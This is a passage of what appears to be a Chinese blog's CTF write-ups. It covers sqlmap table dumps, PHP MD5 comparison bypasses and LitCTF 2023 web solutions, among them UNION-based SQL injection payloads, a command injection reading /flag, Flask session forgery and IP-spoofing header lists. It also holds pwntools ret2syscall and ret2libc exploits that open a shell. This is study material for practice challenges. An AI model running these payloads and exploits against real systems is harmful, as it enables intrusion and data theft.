--batch\n```\n\n查表\n\n``` \npython3 sqlmap.py -r 1.txt -D school -tables --batch\n```\n\n查字段\n\n``` \npython3 sqlmap.py -r 1.txt -D school -T students --columns --batch\n```\n\n查数据\n\n``` \npython3 sqlmap.py -r 1.txt -D school -T students -C name --dump --batch\n```\n\n当请求延时的时候使用--delay 1\n\n``` \npython3 sqlmap.py -r 1.txt -dbs --batch --delay 1\n```\n\n\n\n## 反序列化\n\n\n\n## session伪造\n\n\n\n\n\n## md5弱比较,强比较\n\n知识点:[【PHP】MD5比较漏洞 弱比较、强比较、强碰撞_md5字符串qnkcdzo与s_小 白 萝 卜的博客-CSDN博客](https://blog.csdn.net/EC_Carrot/article/details/109525162#:~:text=弱比较 if(%24_POST['a']!%3D%24_POST['b']%26%26,md5(%24_POST['a'])%3D%3Dmd5(%24_POST['b'])){ die(\"success!\")%3B })\n\n[CTF中的md5弱类型(ALL_IN_ONE)_ctf all in one_OceanSec的博客-CSDN博客](https://blog.csdn.net/q20010619/article/details/109856150)\n\n\n\n例题:[[NSSCTF 2022 Spring Recruit\\]babyphp | NSSCTF](https://www.nssctf.cn/problem/2076)\n\n源码:\n\n``` php\n <?php\nhighlight_file(__FILE__);\ninclude_once('flag.php');\nif(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){\n if(isset($_POST['b1'])&&$_POST['b2']){\n if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){\n if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){\n echo $flag;\n }else{\n echo \"yee\";\n }\n }else{\n echo \"nop\";\n }\n }else{\n echo \"go on\";\n }\n}else{\n echo \"let's get some php\";\n}\n?> \n```\n\n我们可以看到他一共是有三层比较,我们需要一层一层的绕过\n\n第一层的意思是\n\n- \"a\" 字段存在。\n- \"a\" 字段的值不包含数字字符。\n- \"a\" 字段的值可以转换为一个非零的整数。\n \n\n我们就可以使用数组的形式,来绕过他的判断,数组的hash他是不会输出hash值的,所以不管什么值都是真确\n\n第二层就是输入b1和b2,进行md5强比较\n\n也可以直接使用数组的方式绕过\n\n第三层是md5弱比较,我们直接采用那些字符转换md5会变成0e开头的就可以了\n\n![image-20230923170343632](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.6gwbpclsays0.webp)\n","tags":["ctf","Web"]},{"title":"litctf","url":"/2023/09/19/litctf/","content":"\n# web\n\n![image-20231218132527404](./../image/image-20231218132527404.png)\n\n## [LitCTF 2023]我Flag呢?\n\n打开环境后,直接F12就可以看到flag\n\n同时打开源码的方式还有\n\n``` \nf12/ctrl+u/view-source:\n```\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/{4038CD4C-5AD6-45cc-B79F-734765D74244}.74m3u0jfzps0.webp)\n\n<!-- more --> \n\n## [LitCTF 2023]PHP是世界上最好的语言!!\n\n打开页面,猜测命令执行\n\nsystem(\"ls /\"); 查看目录文件夹,看到flag文件直接查看即可\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.4m4th4lnkqg0.png)\n\n\n\n## [LitCTF 2023]就当无事发生\n\n首先去探姬的github,然后直接搜索他的博客地址\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/0bc762429c6478832b423983f5f49c8e.2fr8flw6sa80.webp)\n\n随后直接点击这个按钮,可以查看作者对文件的更改\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.2r551bvk57c0.webp)\n\n最后在里面找到带有X号的,就是作者删除过的,或者点上面的√可以看到作者的更改\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/{7E1532FA-9E7A-4e87-A5FE-C4EB552A98AF}.112w5kxubstc.webp)\n\n\n\n## [LitCTF 2023]Follow me and hack me\n\n直接hackar进行传参\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/8160496c03f53fa83615d0212465ef11.12lqjzm7lqf4.webp)\n\n\n\n## [LitCTF 2023]Vim yyds\n\nxxxxxxxxxx mappings = { 0x04:\"A\", 0x05:\"B\", 0x06:\"C\", 0x07:\"D\", 0x08:\"E\", 0x09:\"F\", 0x0A:\"G\", 0x0B:\"H\", 0x0C:\"I\", 0x0D:\"J\", 0x0E:\"K\", 0x0F:\"L\", 0x10:\"M\", 0x11:\"N\",0x12:\"O\", 0x13:\"P\", 0x14:\"Q\", 0x15:\"R\", 0x16:\"S\", 0x17:\"T\", 0x18:\"U\",0x19:\"V\", 0x1A:\"W\", 0x1B:\"X\", 0x1C:\"Y\", 0x1D:\"Z\", 0x1E:\"1\", 0x1F:\"2\", 0x20:\"3\", 0x21:\"4\", 0x22:\"5\", 0x23:\"6\", 0x24:\"7\", 0x25:\"8\", 0x26:\"9\", 0x27:\"0\", 0x28:\"\\n\", 0x2a:\"[DEL]\", 0X2B:\" \", 0x2C:\" \", 0x2D:\"-\", 0x2E:\"=\", 0x2F:\"[\", 0x30:\"]\", 0x31:\"\\\\\", 0x32:\"~\", 0x33:\";\", 0x34:\"'\", 0x36:\",\", 0x37:\".\" }nums = []keys = open('usbdata.txt')for line in keys: if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0': continue nums.append(int(line[6:8],16))keys.close()output = \"\"for n in nums: if n == 0 : continue if n in mappings: output += mappings[n] else: output += '[unknown]'print('output :\\n' + output)# output :# SEC2ETK3YPython\n\n``` \nvim -r xxx.swp\n```\n\n比如我 vim 1.php 但是我中通关闭了他,那天就会产生这个文件,只需要r一下就可以恢复\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/15250cfd706242cbaf0aa0e5a8f97bab.67gq0p6qvn40.webp)\n\n回到题目,首先下载下这个文件,然后去kali将文件恢复\n\n``` \nnode4.anna.nssctf.cn:28647/.index.php.swp\n```\n\n此时我们就已知了他的php代码\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.6pidz6qpuog0.webp)\n\n代码的逻辑很简单,就是post传参一个base64加密后的'Give_Me_You_Flag'\n\n然后传入一个名为cmd的参数,因为外包裹着eval,所以我们可以执行命令\n\n可以用burp进行抓包操作得到flag\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.28caqntwhedc.webp)\n\n\n\n## [LitCTF 2023]这是什么?SQL !注一下 !\n\n[SQL注入攻击原理,方法和类型_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1ZR4y1Y745/?spm_id_from=333.880.my_history.page.click&vd_source=c195ba0f6cdc7f783321bd952f37fd18)\n\n[SQL注入的一般过程_sql注入过程___lifanxin的博客-CSDN博客](https://blog.csdn.net/A951860555/article/details/116484328)\n\n作为一个新手web,看了一天,看不懂一点,所以直接记套题,后续慢慢了解\n\n但我可以解释一下每个命令的作用\n\n首先先id=1,先判断是字符型注入还是整形注入\n\nid=1回显就是整形\n\nid=’1‘回显就是字符型\n\n可以看到id=1时有回显,我们判断他是整形注入\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.2pssl53e6kq0.webp)\n\n\n\n[浅谈SQL注入中的-1‘ union select 1,2,3#_娄不夜的博客-CSDN博客](https://blog.csdn.net/qq_23667585/article/details/127213099)\n\n1.先判断显示位,payload\n\n``` php\n-1)))))) union select 1,2#\n```\n\n第一句就有很多问题,详细可以参考上述的文章,wp参考\n\n[[LitCTF2023\\] web方向全题解wp_Leafzzz__的博客-CSDN博客](https://blog.csdn.net/Leaf_initial/article/details/130671885)\n\n2.爆库:\n\n```php+HTML\n1)))))) and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata#\n```\n\n1=2的目的是使得条件为假,经过我的实验使用id=-1)))))) union...同理,所以这俩的作用都是表示判断错误,不显示第一个数据库,显示第二个\n\n3.得到库名\n\n```php\ninformation_schema,mysql,ctftraining,performance_schema,test,ctf\n```\n\n4.爆表:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=\"ctf\"#\n```\n\n5.得到表名:\n\n```php\nusers\n```\n\n6.爆列:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name=\"users\"#\n```\n\n7.得到列名:\n\n```php\nid,username,password,ip,time,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password\n```\n\n8.获取值:\n\n```\n1)))))) and 1=2 union select 1,group_concat(password) from ctf.users#\n```\n\n9.获得彩蛋(难蚌):\n\n```php\nOHHHHHHH,F1rst_to_Th3_eggggggggg!} \n```\n\nflag同理,去爆ctftraining即可\n\n10.重新爆表:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema=\"ctftraining\"#\n```\n\n11.得到表明:\n\n```php\nflag,news,users\n```\n\n12.重新爆列:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name=\"flag\"#\n```\n\n13.获得列名:\n\n```\nflag\n```\n\n14.重新获取值:\n\n```php\n1)))))) and 1=2 union select 1,group_concat(flag) from ctftraining.flag#\n```\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.2vs4use82qa0.webp)\n\n\n\n#### webshell:需要上传木马以及蚁剑的使用\n\n大马,小马,一句话木马等,上传后使用蚁剑进行连接\n\n[如何使用中国蚁剑连接webshell?_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV1Wk4y1m7fp/?spm_id_from=333.337.search-card.all.click&vd_source=c195ba0f6cdc7f783321bd952f37fd18)\n\n## [LitCTF 2023]Http pro max plus\n\n和http请求头有关的题目,详细可以在下面的网站了解\n\n[HTTP 标头(header) - HTTP | MDN (mozilla.org)](https://developer.mozilla.org/zh-CN/docs/web/http/headers)\n\n``` php\nX-Forwarded: 127.0.0.1\nX-Forwarded-For: 127.0.0.1\nForwarded-For: 127.0.0.1\nForwarded: 127.0.0.1\nX-Requested-With: 127.0.0.1\nX-Forwarded-Proto: 127.0.0.1\nX-Forwarded-Host: 127.0.0.1\nX-remote-IP: 127.0.0.1\nX-remote-addr: 127.0.0.1\nTrue-Client-IP: 127.0.0.1\nX-Client-IP: 127.0.0.1\nClient-IP: 127.0.0.1\nX-Real-IP: 127.0.0.1\nAli-CDN-Real-IP: 127.0.0.1\nCdn-Src-Ip: 127.0.0.1\nCdn-Real-Ip: 127.0.0.1\nCF-Connecting-IP: 127.0.0.1\nX-Cluster-Client-IP: 127.0.0.1\nWL-Proxy-Client-IP: 127.0.0.1\nProxy-Client-IP: 127.0.0.1\nFastly-Client-Ip: 127.0.0.1\nTrue-Client-Ip: 127.0.0.1\nX-Originating-IP: 127.0.0.1\nX-Host: 127.0.0.1\nX-Custom-IP-Authorization: 127.0.0.1\n```\n\n本机地址client-ip: 127.0.0.1\n\n访问网站referer: pornhub.com\n\n指定浏览器user-agent: Chrome\n\n使用代理via: Clash.win\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.73yrqln52y00.webp)\n\n\n\n到达这个页面后,直接去源码查看就可以看到flag所在的地方\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.3xfl93ctnwu0.webp)\n\n\n\n## [LitCTF 2023]1zjs\n\n直接去源代码区域,找到js源码,可以发现一个php,里面有很多jsfuck的文字,直接去解密就行\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.1rcn1dvd618g.webp)\n\n因为是js,可以在控制台直接输出\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.4yqn0mb2fi00.webp)\n\n\n\n## [LitCTF 2023]Flag点击就送!\n\nsession伪造的题目\n\n我们可以先尝试输入文字然后回车,到后面获取flag,然后他提示我们需要管理员才能获取flag\n\n通过burp抓包我们可以看到有一段cookie被返回,题目的要求是只有管理员才能拿flag\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.61623zag7co0.png)\n\nsession伪造需要一个key,一般的题目中key是需要在题目中找的,但是这个题目的key是猜的,key='litctf'\n\n``` python\n解码:python3 flask_session_cookie_manager3.py decode -s \"密钥\" -c \"session\"\n\n加密:python3 flask_session_cookie_manager3.py encode -s \"密钥\" -t \"上面解密出的一串字符串\"\n```\n\n我们获取了key后可以先去解密一下,我们发现解密后他的请求name为'111',根据题目我们修改成'admin',就可以了\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.27nvnjo9nyo0.webp)\n\n我们使用burp发送过去就可以获得flag\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.2eee9dgxxog0.webp)\n\n## [LitCTF 2023]Ping\n\n我们首先可以看到源码,里面有个正则\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.64n0c8tf0240.webp)\n\n所以我们有两个方式,第一个就是直接禁用JavaScript即可\n\nF12+F1 禁用后直接 1.1.1.1 || (ls /)(cat /flag) 即可\n\n同时这里就涉及了一个知识点就是linux的管道命令\n\n``` \n& 表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &\n\n&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo '2' \n\n| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo 'yes' | wc -l\n\n|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo \"fail\"\n```\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.7fx5n2h64yo0.webp)\n\n第二个方法就是使用burp进行抓包,抓到后之间在内部进行修改\n\n![](https://cdn.statically.io/gh/shenshuoyaoyouguangha/blogimg@main/image.1g5mkbhr9g5c.webp)\n","tags":["ctf","Pwn","RE","litctf","WEB"]},{"title":"山石结营赛","url":"/2023/08/20/山石结营赛/","content":"\n## ret2syscall\n\n\n\n```python\nfrom pwn import *\n\ncontext(arch='amd64', os='linux', log_level='debug')\n\n# p = process('pwn')\np = remote('58.240.236.231',49003)\n\n\nrdi = 0x40072b\nrsi = 0x400735\nrax = 0x400721\nsyscall = 0x400741\nrdx = 0x40073f\nbinsh = 0x601048\npayload = 0x48*b'a'+ p64(rax) + p64(59) + p64(rdi) + p64(0x601048) + p64(rsi) + p64(0) + p64(syscall)\np.sendline(payload)\np.interactive()\n```\n\n<!-- more --> \n\n## ret2libc\n\n\n\n```python\nfrom pwn import *\nfrom LibcSearcher import *\n\ncontext(arch='amd64', os='linux')\ncontext.log_level = 'debug'\n\n# p = remote(\"58.240.236.231\",49002)\n\np = process('./pwn123')\n\nelf = ELF('./pwn123')\n\ngot_addr = elf.got['puts']\n\nplt_addr = elf.plt['puts']\n\nmain_addr = elf.symbols['vul']\n\nprint(hex(main_addr))\n\npop_rdi = 0x0000000000400783\n\npop_rsi_r15 = 0x0000000000400781\n\npayload = b'a'*0xD8 + p64(pop_rdi) + p64(got_addr) + p64(plt_addr) + p64(main_addr)\n# print(payload)\n\np.sendline(payload)\n\n# p.recvuntil('OK,Good!')\n\nputs_addr=u64(p.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00')) #将其中的前6个字节(因为这里用的是Little Endian字节序)转换成unsigned long long类型的整数,\n\nprint(hex(puts_addr))\n\nlibc = LibcSearcher(\"puts\",puts_addr)\n\nlibcsase = puts_addr - libc.dump(\"puts\") \n\nsystem_addr = libcsase + libc.dump(\"system\")\n\nbinsh_addr = libcsase + libc.dump(\"str_bin_sh\")\n\nret_addr = 0x0000000000400509\n\npayload2 = b'a'*0xD8 + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)\n\np.sendline(payload2)\n\np.interactive()\n```\n\n\n\n## git\n\n\n\n```Shell\n ?is=flag&flag=flag\n```\n\n\n\n## HSAndroid1\n\n\n\n```python\nflag_chars = list(\"0db530c0e9752357b1ae4cf7ea8331ae\")\n\nfor i in range(14, 0, -2):\n for j in range(12, 0, -4):\n temp = flag_chars[j]\n flag_chars[j] = flag_chars[j - 4]\n flag_chars[j - 4] = temp\n j2 = i - 1\n temp2 = flag_chars[j2]\n flag_chars[i - 1] = flag_chars[i - 2]\n flag_chars[i - 2] = temp2\n\nflag = \"\".join(flag_chars)\nprint(\"Decrypted Flag:\", flag)\n```\n\n\n\n## easyusb\n\n\n\n```shell\ntshark -T json -r usb.pcapng > test.json \n```\n\n提取流量包,类似这种格式\n\n```C\nusbhid.data\": \"00:00:16:00:00:00:00:00\"\n```\n\n```c\n00:00:16:00:00:00:00:00\n00:00:00:00:00:00:00:00\n00:00:08:00:00:00:00:00\n00:00:00:00:00:00:00:00\n00:00:06:00:00:00:00:00\n00:00:00:00:00:00:00:00\n00:00:1f:00:00:00:00:00\n00:00:00:00:00:00:00:00\n00:00:08:00:00:00:00:00\n00:00:00:00:00:00:00:00\n00:00:17:00:00:00:00:00\n00:00:00:00:00:00:00:00\n00:00:0e:00:00:00:00:00\n00:00:00:00:00:00:00:00\n00:00:20:00:00:00:00:00\n00:00:00:00:00:00:00:00\n00:00:1c:00:00:00:00:00\n00:00:00:00:00:00:00:00\n```\n\n\n\n\n\n然后网上找脚本一把嗦\n\n```Python\nmappings = { 0x04:\"A\", 0x05:\"B\", 0x06:\"C\", 0x07:\"D\", 0x08:\"E\", 0x09:\"F\", 0x0A:\"G\", 0x0B:\"H\", 0x0C:\"I\", 0x0D:\"J\", 0x0E:\"K\", 0x0F:\"L\", 0x10:\"M\", 0x11:\"N\",0x12:\"O\", 0x13:\"P\", 0x14:\"Q\", 0x15:\"R\", 0x16:\"S\", 0x17:\"T\", 0x18:\"U\",0x19:\"V\", 0x1A:\"W\", 0x1B:\"X\", 0x1C:\"Y\", 0x1D:\"Z\", 0x1E:\"1\", 0x1F:\"2\", 0x20:\"3\", 0x21:\"4\", 0x22:\"5\", 0x23:\"6\", 0x24:\"7\", 0x25:\"8\", 0x26:\"9\", 0x27:\"0\", 0x28:\"\\n\", 0x2a:\"[DEL]\", 0X2B:\" \", 0x2C:\" \", 0x2D:\"-\", 0x2E:\"=\", 0x2F:\"[\", 0x30:\"]\", 0x31:\"\\\\\", 0x32:\"~\", 0x33:\";\", 0x34:\"'\", 0x36:\",\", 0x37:\".\" }\nnums = []\nkeys = open('usbdata.txt')\nfor line in keys:\n if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':\n continue\n nums.append(int(line[6:8],16))\nkeys.close()\noutput = \"\"\nfor n in nums:\n if n == 0 :\n continue\n if n in mappings:\n output += mappings[n]\n else:\n output += '[unknown]'\nprint('output :\\n' + output)\n\n# output :\n# SEC2ETK3Y\n```\n","tags":["ctf","pwn","write up"]}]